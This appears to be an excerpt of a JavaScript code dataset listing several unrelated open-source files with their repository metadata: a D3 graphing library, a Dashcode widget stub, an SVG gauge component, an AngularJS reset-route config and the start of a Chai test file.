          xScale.domain(axis.axisProcessDrag(downx, xScale.invert(p[0]), xScale.domain()));
        } else {
          xScale.domain(axis.axisProcessDrag(downx, xScale.invert(p[0]), xScale.domain()));
        }
        updateMarkerRadius();
        redraw();
        d3.event.stopPropagation();
      }
      if (!isNaN(downy)) {
        d3.select('body').style("cursor", "row-resize");
        plot.style("cursor", "row-resize");
        yScale.domain(axis.axisProcessDrag(downy, yScale.invert(p[1]), yScale.domain()));
        redraw();
        d3.event.stopPropagation();
      }
    }
    function mouseup() {
      d3.select('body').style("cursor", "auto");
      plot.style("cursor", "auto");
      document.onselectstart = function() { return true; };
      if (!isNaN(downx)) {
        redraw();
        downx = NaN;
      }
      if (!isNaN(downy)) {
        redraw();
        downy = NaN;
      }
      draggedPoint = null;
    }
    //------------------------------------------------------
    //
    // Autoscale
    //
    // ------------------------------------------------------------
    /**
      If there are more than 1 data points, scale the x axis to contain all x values,
      and scale the y axis so that the y values lie in the middle 80% of the visible y range.
      Then nice() the x and y scales (which means that the x and y domains will likely expand
      somewhat).
    */
    function autoscale() {
      var i,
          j,
          len,
          point,
          x,
          y,
          xmin = Infinity,
          xmax = -Infinity,
          ymin = Infinity,
          ymax = -Infinity,
          transform,
          pow;
      if (points.length < 2) return;
      for (i = 0; i < pointArray.length; i++) {
        points = pointArray[i];
        for (j = 0, len = points.length; j < len; j++){
          point = points[j];
          x = point[0];
          y = point[1];
          if (x < xmin) xmin = x;
          if (x > xmax) xmax = x;
          if (y < ymin) ymin = y;
          if (y > ymax) ymax = y;
        }
      }
      // Like Math.pow but returns a value with the same sign as x: pow(-1, 0.5) -> -1
      pow = function(x, exponent) {
        return x < 0 ? -Math.pow(-x, exponent) : Math.pow(x, exponent);
      };
      // convert ymin, ymax to a linear scale, and set 'transform' to the function that
      // converts the new min, max to the relevant scale.
      switch (options.yscale) {
        case 'linear':
          transform = function(x) { return x; };
          break;
        case 'log':
          ymin = Math.log(ymin) / Math.log(10);
          ymax = Math.log(ymax) / Math.log(10);
          transform = function(x) { return Math.pow(10, x); };
          break;
        case 'pow':
          ymin = pow(ymin, options.yscaleExponent);
          ymax = pow(ymax, options.yscaleExponent);
          transform = function(x) { return pow(x, 1/options.yscaleExponent); };
          break;
      }
      xScale.domain([xmin, xmax]).nice();
      yScale.domain([transform(ymin - 0.15*(ymax-ymin)), transform(ymax + 0.15*(ymax-ymin))]).nice();
      redraw();
    }
    // ------------------------------------------------------------
    //
    // Brush Selection
    //
    // ------------------------------------------------------------
    function toggleSelection() {
      if (!selectionVisible()) {
        // The graph model defaults to visible=false and enabled=true.
        // Reset these so that this first click turns on selection correctly.
        selectionEnabled(false);
        selectionVisible(true);
      }
      if (!!selectionEnabled()) {
        if (options.clearSelectionOnLeavingSelectMode || selectionDomain() === []) {
          selectionDomain(null);
        }
        selectionEnabled(false);
      } else {
        if (selectionDomain() == null) {
          selectionDomain([]);
        }
        selectionEnabled(true);
      }
    }
    /**
      Set or get the selection domain (i.e., the range of x values that are selected).
      Valid domain specifiers:
        null     no current selection (selection is turned off)
        []       a current selection exists but is empty (has_selection is true)
        [x1, x2] the region between x1 and x2 is selected. Any data points between
                 x1 and x2 (inclusive) would be considered to be selected.
      Default value is null.
    */
    function selectionDomain(a) {
      if (!arguments.length) {
        if (!has_selection) {
          return null;
        }
        if (selection_region.xmax === Infinity && selection_region.xmin === Infinity ) {
          return [];
        }
        return [selection_region.xmin, selection_region.xmax];
      }
      // setter
      if (a === null) {
        has_selection = false;
      }
      else if (a.length === 0) {
        has_selection = true;
        selection_region.xmin = Infinity;
        selection_region.xmax = Infinity;
      }
      else {
        has_selection = true;
        selection_region.xmin = a[0];
        selection_region.xmax = a[1];
      }
      updateBrushElement();
      if (selection_listener) {
        selection_listener(selectionDomain());
      }
      return api;
    }
    /**
      Get whether the graph currently has a selection region. Default value is false.
      If true, it would be valid to filter the data points to return a subset within the selection
      region, although this region may be empty!
      If false the graph is not considered to have a selection region.
      Note that even if has_selection is true, the selection region may not be currently shown,
      and if shown, it may be empty.
    */
    function hasSelection() {
      return has_selection;
    }
    /**
      Set or get the visibility of the selection region. Default value is false.
      Has no effect if the graph does not currently have a selection region
      (selection_domain is null).
      If the selection_enabled property is true, the user will also be able to interact
      with the selection region.
    */
    function selectionVisible(val) {
      if (!arguments.length) {
        return selection_visible;
      }
      // setter
      val = !!val;
      if (selection_visible !== val) {
        selection_visible = val;
        updateBrushElement();
      }
      return api;
    }
    /**
      Set or get whether user manipulation of the selection region should be enabled
      when a selection region exists and is visible. Default value is true.
      Setting the value to true has no effect unless the graph has a selection region
      (selection_domain is non-null) and the region is visible (selection_visible is true).
      However, the selection_enabled setting is honored whenever those properties are
      subsequently updated.
      Setting the value to false does not affect the visibility of the selection region,
      and does not affect the ability to change the region by calling selectionDomain().
      Note that graph panning and zooming are disabled while selection manipulation is enabled.
    */
    function selectionEnabled(val) {
      if (!arguments.length) {
        return selection_enabled;
      }
      // setter
      val = !!val;
      if (selection_enabled !== val) {
        selection_enabled = val;
        if (selectionButton) {
          if (val) {
            selectionButton.attr("style", "color: #aa0000;");
          } else {
            selectionButton.attr("style", "");
          }
        }
        updateBrushElement();
      }
      return api;
    }
    /**
      Set or get the listener to be called when the selection_domain changes.
      Both programatic and interactive updates of the selection region result in
      notification of the listener.
      The listener is called with the new selection_domain value in the first argument.
    */
    function selectionListener(cb) {
      if (!arguments.length) {
        return selection_listener;
      }
      // setter
      selection_listener = cb;
      return api;
    }
    function brushListener() {
      var extent;
      if (selection_enabled) {
        // Note there is a brush.empty() method, but it still reports true after the
        // brush extent has been programatically updated.
        extent = brush_control.extent();
        selectionDomain( extent[0] !== extent[1] ? extent : [] );
      }
    }
    function updateBrushElement() {
      if (has_selection && selection_visible) {
        brush_control = brush_control || d3.svg.brush()
          .x(xScale)
          .extent([selection_region.xmin || 0, selection_region.xmax || 0])
          .on("brush", brushListener);
        brush_element
          .call(brush_control.extent([selection_region.xmin || 0, selection_region.xmax || 0]))
          .style('display', 'inline')
          .style('pointer-events', selection_enabled ? 'all' : 'none')
          .selectAll("rect")
            .attr("height", size.height);
      } else {
        brush_element.style('display', 'none');
      }
    }
    // ------------------------------------------------------------
    //
    // Canvas-based plotting
    //
    // ------------------------------------------------------------
    function createGraphCanvas() {
      graphCanvas = elem.append("canvas");
      gcanvas = graphCanvas.node();
      resizeCanvas();
    }
    function resizeCanvas() {
      graphCanvas
        .attr("class", "overlay")
        .style({
          "position": "absolute",
          "width":    size.width + "px",
          "height":   size.height + "px",
          "top":      padding.top + "px",
          "left":     padding.left + "px",
          "z-index": 1
        });
      gcanvas = graphCanvas.node();
      gcanvas.width = size.width;
      gcanvas.height = size.height;
      gcanvas.top = padding.top;
      gcanvas.left = padding.left;
      setupCanvasContext();
      updateCanvasFromPoints(currentSample);
    }
    function clearCanvas() {
      if (gcanvas.getContext) {
        gcanvas.width = gcanvas.width;
        gctx.lineWidth = lineWidth;
        gctx.fillStyle = canvasFillStyle;
        gctx.fillRect(0, 0, gcanvas.width, gcanvas.height);
        gctx.strokeStyle = "rgba(255,65,0, 1.0)";
      }
    }
    function setupCanvasContext() {
      if (gcanvas.getContext) {
        gctx = gcanvas.getContext( '2d' );
        gctx.globalCompositeOperation = "source-over";
        gctx.lineWidth = lineWidth;
        gctx.fillStyle = canvasFillStyle;
        gctx.fillRect(0, 0, gcanvas.width, gcanvas.height);
        gctx.strokeStyle = "rgba(255,65,0, 1.0)";
      }
    }
    //
    // Update Canvas plotted data from [x, y] data points
    //
    function updateCanvasFromPoints(samplePoint) {
      var i, j, k,
          dx,
          px, py,
          index,
          yOrigin = yScale(0.00001),
          lines = options.lines,
          bars = options.bars,
          twopi = 2 * Math.PI,
          pointsLength,
          numberOfLines = pointArray.length,
          xAxisStart,
          xAxisEnd,
          pointStop,
          start,
          lengthX;
      // hack for lack of canvas support in jsdom tests
      if (typeof gcanvas.getContext === "undefined" ) { return; }
      setCurrentSample(samplePoint);
      clearCanvas();
      gctx.fillRect(0, 0, gcanvas.width, gcanvas.height);
      gctx.lineWidth = lineWidth;
      xAxisStart = xScale.domain()[0];
      xAxisEnd =   xScale.domain()[1];
      start = Math.max(0, xAxisStart);
      if (lines) {
        for (i = 0; i < numberOfLines; i++) {
          points = pointArray[i];
          pointsLength = points.length;
          if (pointsLength === 0) { break; }
          index = 0;
          // find first point >= xAxisStart
          for (j = 0; j < pointsLength; j++) {
            if (points[j][0] >= xAxisStart) { break; }
            index++;
          }
          if (index > 0) { --index; }
          if (index >= pointsLength) { break; }
          px = xScale(points[index][0]);
          py = yScale(points[index][1]);
          setStrokeColor(i);
          gctx.beginPath();
          gctx.moveTo(px, py);
          dx = points[index][0];
          index++;
          if (i < newDataSeries) {
            // plot all ... or until one point past xAxisEnd
            // or until we reach currentSample
            for (; index < samplePoint; index++) {
              dx = points[index][0];
              px = xScale(dx);
              py = yScale(points[index][1]);
              gctx.lineTo(px, py);
              if (dx >= xAxisEnd) { break; }
            }
            gctx.stroke();
            // now plot in a desaturated style all the rest of the points
            // ... or until one point past xAxisEnd
            if (index < pointsLength && dx < xAxisEnd) {
              setStrokeColor(i, true);
              gctx.lineWidth = lineWidth/2;
              for (;index < pointsLength; index++) {
                dx = points[index][0];
                px = xScale(dx);
                py = yScale(points[index][1]);
                gctx.lineTo(px, py);
                if (dx >= xAxisEnd) { break; }
              }
              gctx.stroke();
            }
          } else {
            // else we are plotting older complete datasets
            // plot all ... or until one point past xAxisEnd
            setStrokeColor(0, true);
            gctx.lineWidth = lineWidth/2;
            // temporary hack ...
            var previousPx = 0;
            for (; index < pointsLength-1; index++) {
              dx = points[index][0];
              px = xScale(dx);
              if (px < previousPx) { break; }
              previousPx = px;
              py = yScale(points[index][1]);
              gctx.lineTo(px, py);
              if (dx >= xAxisEnd) { break; }
            }
            gctx.stroke();
          }
        }
      } else if (bars) {
        for (i = 0; i < numberOfLines; i++) {
          points = pointArray[i];
          pointsLength = points.length;
          setStrokeColor(i);
          pointStop = samplePoint - 1;
          for (index=start; index < pointStop; index++) {
            px = xScale(points[index][0]);
            py = yScale(points[index][1]);
            if (py === 0) {
              continue;
            }
            gctx.beginPath();
            gctx.moveTo(px, yOrigin);
            gctx.lineTo(px, py);
            gctx.stroke();
          }
          pointStop = points.length-1;
          if (index < pointStop) {
            setStrokeColor(i, true);
            for (;index < pointStop; index++) {
              px = xScale(points[index][0]);
              py = yScale(points[index][1]);
              gctx.beginPath();
              gctx.moveTo(px, yOrigin);
              gctx.lineTo(px, py);
              gctx.stroke();
            }
          }
        }
      } else {
        for (i = 0; i < numberOfLines; i++) {
          points = pointArray[i];
          pointsLength = points.length;
          index = 0;
          // find first point >= xAxisStart
          for (j = 0; j < pointsLength; j++) {
            if (points[j][0] >= xAxisStart) { break; }
            index++;
          }
          if (index > 0) { --index; }
          if (index >= pointsLength) { break; }
          px = xScale(points[index][0]);
          py = yScale(points[index][1]);
          setFillColor(i);
          dx = points[index][0];
          index++;
          // plot all ... or until one point past xAxisEnd
          // or until we reach currentSample
          for (; index < samplePoint; index++) {
            dx = points[index][0];
            px = xScale(dx);
            py = yScale(points[index][1]);
            gctx.fillRect(px, py, lineWidth, lineWidth);
            if (dx >= xAxisEnd) { break; }
          }
          // now plot in a desaturated style all the rest of the points
          // ... or until one point past xAxisEnd
          if (index < pointsLength && dx < xAxisEnd) {
            setFillColor(i, true);
            for (;index < pointsLength; index++) {
              dx = points[index][0];
              px = xScale(dx);
              py = yScale(points[index][1]);
              gctx.fillRect(px, py, lineWidth, lineWidth);
              if (dx >= xAxisEnd) { break; }
            }
          }
        }
      }
    }
    function setStrokeColor(i, afterSamplePoint) {
      var opacity = afterSamplePoint ? 0.5 : 1.0;
      switch(i) {
        case 0:
          gctx.strokeStyle = "rgba(160,00,0," + opacity + ")";
          break;
        case 1:
          gctx.strokeStyle = "rgba(44,160,0," + opacity + ")";
          break;
        case 2:
          gctx.strokeStyle = "rgba(44,0,160," + opacity + ")";
          break;
        default:
          gctx.strokeStyle = "rgba(44,0,160," + opacity + ")";
          break;
      }
    }
    function setFillColor(i, afterSamplePoint) {
      var opacity = afterSamplePoint ? 0.4 : 1.0;
      switch(i) {
        case 0:
          gctx.fillStyle = "rgba(160,00,0," + opacity + ")";
          break;
        case 1:
          gctx.fillStyle = "rgba(44,160,0," + opacity + ")";
          break;
        case 2:
          gctx.fillStyle = "rgba(44,0,160," + opacity + ")";
          break;
        default:
          gctx.fillStyle = "rgba(44,0,160," + opacity + ")";
          break;
      }
    }
    // ------------------------------------------------------------
    //
    // Adding samples/data points
    //
    // ------------------------------------------------------------
    // Add an array of points then update the graph.
    function addPoints(datapoints) {
      newDataSeries = datapoints.length;
      addDataPoints(datapoints);
      setCurrentSample(points.length);
      updateOrRescale();
    }
    // Add an array of samples then update the graph.
    function addSamples(datasamples) {
      addDataSamples(datasamples);
      setCurrentSample(points.length);
      updateOrRescale();
    }
    // Add a point [x, y] by processing sample (Y value) synthesizing
    // X value from sampleInterval and number of points
    function addSample(sample) {
      var index = points.length,
          xvalue = (index + dataSampleStart) * sampleInterval,
          point = [ xvalue, sample ];
      points.push(point);
      setCurrentSample(points.length);
      updateOrRescale();
    }
    // Add a point [x, y] to points array
    function addPoint(pnt) {
      points.push(pnt);
      setCurrentSample(points.length);
      updateOrRescale();
    }
    // Add an array (or arrays) of points.
    function addDataPoints(datapoints) {
      if (Object.prototype.toString.call(datapoints[0]) === "[object Array]") {
        for (var i = 0; i < datapoints.length; i++) {
          points = pointArray[i];
          points.push.apply(points, [datapoints[i]]);
          pointArray[i] = points;
        }
        points = pointArray[0];
      } else {
        points.push.apply(points, datapoints);
        pointArray = [points];
      }
    }
    // Add an array of points by processing an array of samples (Y values)
    // synthesizing the X value from sampleInterval interval and number of points.
    function addDataSamples(datasamples) {
      var start,
          i;
      if (Object.prototype.toString.call(datasamples[0]) === "[object Array]") {
        for (i = 0; i < datasamples.length; i++) {
          if (!pointArray[i]) { pointArray.push([]); }
          points = pointArray[i];
          start = points.length * sampleInterval;
          points.push.apply(points, indexedData(datasamples[i], sampleInterval, start));
          pointArray[i] = points;
        }
        points = pointArray[0];
      } else {
        for (i = 0; i < datasamples.length; i++) {
          if (!pointArray[i]) { pointArray.push([]); }
          start = pointArray[i].length * sampleInterval;
          pointArray[i].push([start, datasamples[i]]);
        }
      }
    }
    function resetDataPoints(datapoints) {
      function copy(array) {
        var ret = [];
        array.forEach(function(element) {
          ret.push(element);
        });
        return ret;
      }
      pointArray = [];
      if (!datapoints || datapoints.length === 0) {
        points = [];
        pointArray = [points];
      } else if (Object.prototype.toString.call(datapoints[0]) === "[object Array]") {
        for (var i = 0; i < datapoints.length; i++) {
          pointArray.push(copy(datapoints[i]));
        }
        points = pointArray[0];
      } else {
        points = datapoints;
        pointArray = [copy(points)];
      }
      setCurrentSample(points.length - 1);
      cancelDomainShift();
    }
    function resetDataSamples(datasamples, interval, start) {
      pointArray = [];
      if (Object.prototype.toString.call(datasamples[0]) === "[object Array]") {
        for (var i = 0; i < datasamples.length; i++) {
          pointArray.push(indexedData(datasamples[i], interval, start));
        }
        points = pointArray[0];
      } else {
        points = indexedData(datasamples, interval, start);
        pointArray = [points];
      }
      sampleInterval = interval;
      dataSampleStart = start;
    }
    function resetSamples(datasamples) {
      resetDataSamples(datasamples, sampleInterval, dataSampleStart);
    }
    function deletePoint(i) {
      if (points.length) {
        points.splice(i, 1);
        if (currentSample >= points.length) {
          currentSample = points.length-1;
        }
      }
    }
    // ------------------------------------------------------------
    //
    // Keyboard Handling
    //
    // ------------------------------------------------------------
    function registerKeyboardHandler() {
      svg.node().addEventListener("keydown", function (evt) {
        if (!selected) return false;
        if (evt.type === "keydown") {
          switch (evt.keyCode) {
            case 8:   // backspace
            case 46:  // delete
            if (options.dataChange) {
              var i = points.indexOf(selected);
              deletePoint(i);
              selected = points.length ? points[i > 0 ? i - 1 : 0] : null;
              update();
            }
            evt.preventDefault();
            evt.stopPropagation();
            break;
          }
          evt.preventDefault();
        }
      });
    }
    // ------------------------------------------------------------
    //
    // Graph attribute updaters
    //
    // ------------------------------------------------------------
    // update the title
    function updateTitle() {
      if (options.title && title) {
        title.text(options.title);
      }
      renderGraph();
    }
    // update the x-axis label
    function updateXlabel() {
      if (options.xlabel && xlabel) {
        xlabel.text(options.xlabel);
      }
      renderGraph();
    }
    // update the y-axis label
    function updateYlabel() {
      if (options.ylabel && ylabel) {
        ylabel.text(options.ylabel);
      } else {
        ylabel.style("display", "none");
      }
      renderGraph();
    }
    // ------------------------------------------------------------
    //
    // Main API functions ...
    //
    // ------------------------------------------------------------
    function renderGraph() {
      calculateLayout();
      if (svg === undefined) {
        renderNewGraph();
      } else {
        repaintExistingGraph();
      }
      if (options.showButtons) {
        if (!buttonLayer) createButtonLayer();
        resizeButtonLayer();
      }
      redraw();
    }
    function reset(idOrElement, options, message) {
      if (arguments.length) {
        initialize(idOrElement, options, message);
      } else {
        initialize();
      }
      renderGraph();
      // and then render again using actual size of SVG text elements are
      renderGraph();
      redraw();
      registerKeyboardHandler();
      return api;
    }
    function resize(w, h) {
      scale(w, h);
      initializeLayout();
      renderGraph();
      redraw();
      return api;
    }
    //
    // Public API to instantiated Graph
    //
    api = {
      update:               update,
      repaint:              renderGraph,
      reset:                reset,
      redraw:               redraw,
      resize:               resize,
      notify:               notify,
      // selection brush api
      selectionDomain:      selectionDomain,
      selectionVisible:     selectionVisible,
      selectionListener:    selectionListener,
      selectionEnabled:     selectionEnabled,
      hasSelection:         hasSelection,
      /**
        Read only getter for the d3 selection referencing the DOM elements containing the d3
        brush used to implement selection region manipulation.
      */
      brushElement: function() {
        return brush_element;
      },
      /**
        Read-only getter for the d3 brush control (d3.svg.brush() function) used to implement
        selection region manipulation.
      */
      brushControl: function() {
        return brush_control;
      },
      /**
        Read-only getter for the internal listener to the d3 'brush' event.
      */
      brushListener: function() {
        return brushListener;
      },
      // specific update functions ???
      scale:                scale,
      updateOrRescale:      updateOrRescale,
      xDomain: function(_) {
        if (!arguments.length) return [options.xmin, options.xmax];
        options.xmin = _[0];
        options.xmax = _[1];
        if (updateXScale) {
          updateXScale();
          redraw();
        }
        return api;
      },
      yDomain: function(_) {
        if (!arguments.length) return [options.ymin, options.ymax];
        options.ymin = _[0];
        options.ymax = _[1];
        if (updateYScale) {
          updateYScale();
          redraw();
        }
        return api;
      },
      xmin: function(_) {
        if (!arguments.length) return options.xmin;
        options.xmin = _;
        options.xrange = options.xmax - options.xmin;
        if (updateXScale) {
          updateXScale();
          redraw();
        }
        return api;
      },
      xmax: function(_) {
        if (!arguments.length) return options.xmax;
        options.xmax = _;
        options.xrange = options.xmax - options.xmin;
        if (updateXScale) {
          updateXScale();
          redraw();
        }
        return api;
      },
      ymin: function(_) {
        if (!arguments.length) return options.ymin;
        options.ymin = _;
        options.yrange = options.ymax - options.ymin;
        if (updateYScale) {
          updateYScale();
          redraw();
        }
        return api;
      },
      ymax: function(_) {
        if (!arguments.length) return options.ymax;
        options.ymax = _;
        options.yrange = options.ymax - options.ymin;
        if (updateYScale) {
          updateYScale();
          redraw();
        }
        return api;
      },
      xLabel: function(_) {
        if (!arguments.length) return options.xlabel;
        options.xlabel = _;
        updateXlabel();
        return api;
      },
      yLabel: function(_) {
        if (!arguments.length) return options.ylabel;
        options.ylabel = _;
        updateYlabel();
        return api;
      },
      title: function(_) {
        if (!arguments.length) return options.title;
        options.title = _;
        updateTitle();
        return api;
      },
      width: function(_) {
        if (!arguments.length) return size.width;
        size.width = _;
        return api;
      },
      height: function(_) {
        if (!arguments.length) return size.height;
        size.height = _;
        return api;
      },
      elem: function(_) {
        if (!arguments.length) return elem;
        elem = d3.select(_);
        graph(elem);
        return api;
      },
      numberOfPoints: function() {
        if (points) {
          return points.length;
        } else {
          return false;
        }
      },
      // Point data consist of an array (or arrays) of [x,y] arrays.
      addPoints:       addPoints,
      addPoint:        addPoint,
      resetPoints:     resetDataPoints,
      // Sample data consists of an array (or an array or arrays) of samples.
      // The interval between samples is assumed to have already been set
      // by specifying options.sampleInterval when creating the graph.
      addSamples:      addSamples,
      addSample:       addSample,
      resetSamples: resetSamples
    };
    // Initialization.
    initialize(idOrElement, options, message);
    if (node) {
      renderGraph();
      // Render again using actual size of SVG text elements.
      renderGraph();
    }
    return api;
  }
  // Support node-style modules and AMD.
  if (typeof module === "object" && module && typeof module.exports === "object") {
    module.exports = Graph;
  } else if (typeof define === "function" && define.amd) {
    define(function () { return Graph; });
  }
  // If there is a window object, that at least has a document property,
  // define Lab.grapher.Graph.
  if (typeof window === "object" && typeof window.document === "object") {
    window.Lab = window.Lab || {};
    window.Lab.grapher = window.Lab.grapher || {};
    window.Lab.grapher.Graph = Graph;
  }
})(window);
 | 
	pjanik/lab-grapher | 
	lab.grapher.js | 
	JavaScript | 
	mit | 82,458 | 
| 
	/* 
 This file was generated by Dashcode.  
 You may edit this file to customize your widget or web page 
 according to the license.txt file included in the project.
 */
//
// Function: load()
// Called by HTML body element's onload event when the widget is ready to start
//
function load()
{
    dashcode.setupParts();
}
//
// Function: remove()
// Called when the widget has been removed from the Dashboard
//
function remove()
{
    // Stop any timers to prevent CPU usage
    // Remove any preferences as needed
    // widget.setPreferenceForKey(null, dashcode.createInstancePreferenceKey("your-key"));
}
//
// Function: hide()
// Called when the widget has been hidden
//
function hide()
{
    // Stop any timers to prevent CPU usage
}
//
// Function: show()
// Called when the widget has been shown
//
function show()
{
    // Restart any timers that were stopped on hide
}
//
// Function: sync()
// Called when the widget has been synchronized with .Mac
//
function sync()
{
    // Retrieve any preference values that you need to be synchronized here
    // Use this for an instance key's value:
    // instancePreferenceValue = widget.preferenceForKey(null, dashcode.createInstancePreferenceKey("your-key"));
    //
    // Or this for global key's value:
    // globalPreferenceValue = widget.preferenceForKey(null, "your-key");
}
//
// Function: showBack(event)
// Called when the info button is clicked to show the back of the widget
//
// event: onClick event from the info button
//
function showBack(event)
{
    var front = document.getElementById("front");
    var back = document.getElementById("back");
    if (window.widget) {
        widget.prepareForTransition("ToBack");
    }
    front.style.display = "none";
    back.style.display = "block";
    if (window.widget) {
        setTimeout('widget.performTransition();', 0);
    }
}
//
// Function: showFront(event)
// Called when the done button is clicked from the back of the widget
//
// event: onClick event from the done button
//
function showFront(event)
{
    var front = document.getElementById("front");
    var back = document.getElementById("back");
    if (window.widget) {
        widget.prepareForTransition("ToFront");
    }
    front.style.display="block";
    back.style.display="none";
    if (window.widget) {
        setTimeout('widget.performTransition();', 0);
    }
}
if (window.widget) {
    widget.onremove = remove;
    widget.onhide = hide;
    widget.onshow = show;
    widget.onsync = sync;
}
 | 
	sandalsoft/Bitcoin.dcproj | 
	project/widget.wdgt/main.js | 
	JavaScript | 
	mit | 2,509 | 
| 
	/*
 * gauge.js
 * Copyright(c) 2015 Vladimir Rodkin <[email protected]>
 * MIT Licensed
 */
/* global define */
(function (root, factory) {
	if (typeof define === 'function' && define.amd) {
		define(['jquery'], factory);
	} else {
		root.Gauge = factory(root.jQuery);
	}
})(this, function ($) {
	'use strict';
	var template = '<svg version="1.1" width="100%" height="100%" ' +
		'preserveAspectRatio="xMidYMid meet" viewBox="-50 -50 100 100">' +
		'<defs>' +
			'<g id="gauge-mark" class="gauge-mark">' +
				'<line x1="0" y1="-40.5" x2="0" y2="-40.75" />' +
			'</g>' +
			'<g id="gauge-tick" class="gauge-tick">' +
				'<line x1="0" y1="-40.5" x2="0" y2="-41.5" />' +
			'</g>' +
		'</defs>' +
		'<g class="gauge-marks"></g>' +
		'<g class="gauge-ticks"></g>' +
		'<g class="gauge-labels"></g>' +
		'<g class="gauge-scale-arc"></g>' +
		'<g class="gauge-scale-arc-warning"></g>' +
		'<g class="gauge-scale-arc-danger"></g>' +
		'<g class="gauge-hand">' +
			'<polygon points="-1,0 0,-41 1,0" />' +
			'<circle cx="0" cy="0" r="2" />' +
		'</g>' +
	'</svg>';
	var Gauge;
	/**
	* @param {Object} o Options
	* @param {HTMLElement} o.block
	* @param {Number} o.actualValue
	* @param {Array} o.labels
	* @param {Number} [o.maxValue]
	* @param {Number} [o.warningValue] in percents
	* @param {Number} [o.dangerValue] in percentes
	* @constructor
	* @module Gauge
	*/
	Gauge = function (o) {
		this._block = o.block;
		this._actualValue = o.actualValue;
		this._labels = o.labels;
		this._maxValue = o.maxValue || this._labels[this._labels.length - 1];
		this._warningValue = o.warningValue;
		this._dangerValue = o.dangerValue;
		this._delta = 100 / this._maxValue;
		this._render();
	};
	Gauge.prototype = {
		/**
		* @private
		*/
		_render: function () {
			this._block.innerHTML = template;
			this._renderHand();
			this._renderTicks();
			this._renderMarks();
			this._renderTicksLabels();
			this._renderArcScale();
			if (this._warningValue !== undefined) {
				this._renderArcWarning();
			}
			if (this._dangerValue !== undefined) {
				this._renderArcDanger();
			}
		},
		/**
		* @param {Number} value
		* @return {Number} degree
		* @private
		*/
		_valueToDegree: function (value) {
			// -120 deg - excluded part
			// -210 deg - rotate start to simmetrical view
			return (value / this._maxValue * (360 - 120)) - 210;
		},
		/**
		* @param {Number} value
		* @param {Number} radius
		* @return {Object} position
		* @private
		*/
		_valueToPosition: function (value, radius) {
			var a = this._valueToDegree(value) * Math.PI / 180;
			var x = radius * Math.cos(a);
			var y = radius * Math.sin(a);
			return {
				x: x,
				y: y
			};
		},
		/**
		* @param {Number} percent
		* @return {Number} value
		* @private
		*/
		_percentToValue: function (percent) {
			return percent / this._delta;
		},
		/**
		* @private
		*/
		_renderHand: function () {
			this._hand = $('.gauge-hand', this._block)[0];
			this._setValue(this._actualValue);
		},
		/**
		* @private
		*/
		_setValue: function () {
			this._hand.style.transform = 'rotate(' + (this._valueToDegree(this._actualValue) + 90) + 'deg)';
		},
		/**
		* @param {Number} value
		* @public
		*/
		setValue: function (value) {
			this._actualValue = value;
			this._setValue();
		},
		/**
		* @private
		*/
		_renderTicks: function () {
			var ticksCache = '';
			var ticks = $('.gauge-ticks', this._block)[0];
			var total = this._labels.length - 1;
			for (var value = 0; value <= total; value++) {
				ticksCache += this._buildTick(value);
			}
			ticks.innerHTML = ticksCache;
		},
		/**
		* @return {String}
		* @private
		*/
		_buildTick: function (value) {
			return '<use xlink:href="#gauge-tick" transform="rotate(' + (this._valueToDegree(value) + 90) + ')" />';
		},
		/**
		* @private
		*/
		_renderTicksLabels: function () {
			var labelsCache = '';
			var labels = $('.gauge-labels', this._block)[0];
			var total = this._labels.length - 1;
			for (var value = 0; value <= total; value++) {
				labelsCache += this._buildTickLabel(value);
			}
			labels.innerHTML = labelsCache;
		},
		/**
		* @param {Number} value
		* @return {String}
		* @private
		*/
		_buildTickLabel: function (value) {
			var position = this._valueToPosition(value, 43);
			return '<text x="' + position.x + '" y="' + position.y + '" text-anchor="middle">' +
				this._labels[value] + '</text>';
		},
		/**
		* @private
		*/
		_renderMarks: function () {
			var marksCache = '';
			var marks = $('.gauge-marks', this._block)[0];
			var total = (this._labels.length - 1) * 10;
			for (var value = 0; value <= total; value++) {
				// Skip marks on ticks
				if (value % 10 === 0) {
					continue;
				}
				marksCache += this._buildMark(value / 10);
			}
			marks.innerHTML = marksCache;
		},
		/**
		* @return {String}
		* @private
		*/
		_buildMark: function (value) {
			return '<use xlink:href="#gauge-mark" transform="rotate(' + (this._valueToDegree(value) + 90) + ')" />';
		},
		/**
		* @private
		*/
		_renderArcScale: function () {
			var max = 100;
			if (this._dangerValue) {
				max = this._dangerValue;
			}
			if (this._warningValue) {
				max = this._warningValue;
			}
			var group = $('.gauge-scale-arc', this._block)[0];
			var arc = this._buildArc(0, max, 39);
			group.innerHTML = arc;
		},
		/**
		* @private
		*/
		_renderArcWarning: function () {
			var max = 100;
			if (this._dangerValue) {
				max = this._dangerValue;
			}
			var group = $('.gauge-scale-arc-warning', this._block)[0];
			var arc = this._buildArc(this._warningValue, max, 39);
			group.innerHTML = arc;
		},
		/**
		* @private
		*/
		_renderArcDanger: function () {
			var group = $('.gauge-scale-arc-danger', this._block)[0];
			var arc = this._buildArc(this._dangerValue, 100, 39);
			group.innerHTML = arc;
		},
		/**
		* @param {Number} min in percents
		* @param {Number} max in percents
		* @param {Number} radius
		* @return {String}
		* @private
		*/
		_buildArc: function (min, max, radius) {
			min = this._percentToValue(min);
			max = this._percentToValue(max);
			var positionStart = this._valueToPosition(min, radius);
			var positionEnd = this._valueToPosition(max, radius);
			var alpha = (360 - 120) / this._maxValue * (max - min);
			var arc = '<path d="M' + positionStart.x + ',' + positionStart.y +
				' A' + radius + ',' + radius + ' 0 ' +
				((alpha > 180) ? 1 : 0) + ',1 ' +
				positionEnd.x + ',' + positionEnd.y +
				'" style="fill: none;" />';
			return arc;
		}
	};
	return Gauge;
});
 | 
	VovanR/gauge.js | 
	src/index.js | 
	JavaScript | 
	mit | 6,504 | 
| 
	(function() {
    'use strict';
    angular
        .module('siteApp')
        .config(stateConfig);
    stateConfig.$inject = ['$stateProvider'];
    function stateConfig($stateProvider) {
        $stateProvider.state('finishReset', {
            parent: 'account',
            url: '/reset/finish?key',
            data: {
                authorities: []
            },
            views: {
                'content@': {
                    templateUrl: 'app/account/reset/finish/reset.finish.html',
                    controller: 'ResetFinishController',
                    controllerAs: 'vm'
                }
            }
        });
    }
})();
 | 
	egrohs/Politicos | 
	site/src/main/webapp/app/account/reset/finish/reset.finish.state.js | 
	JavaScript | 
	mit | 657 | 
| 
	/**
 * Copyright 2016-2017 aixigo AG
 * Released under the MIT license.
 * http://laxarjs.org/license
 */
'use strict';
import { expect } from 'chai';
import * as expressionInterpolator from '../src/expression_interpolator';
describe( 'expressionInterpolator', () => {
   ///////////////////////////////////////////////////////////////////////////////////////////////////////////
   describe( '.create( options )', () => {
      it( 'returns an interpolator', () => {
